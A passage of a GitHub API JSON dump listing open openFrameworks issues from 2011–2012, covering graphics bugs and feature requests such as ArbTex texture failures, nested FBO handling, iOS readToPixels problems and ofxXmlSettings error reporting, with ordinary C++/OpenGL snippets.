touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n 